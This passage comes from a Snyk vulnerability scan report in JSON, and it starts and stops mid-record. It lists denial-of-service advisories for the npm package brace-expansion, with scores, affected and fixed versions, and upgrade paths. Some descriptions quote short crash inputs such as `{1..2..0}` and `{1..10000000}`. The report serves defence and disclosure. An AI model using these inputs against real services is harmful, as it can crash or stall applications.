"isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", 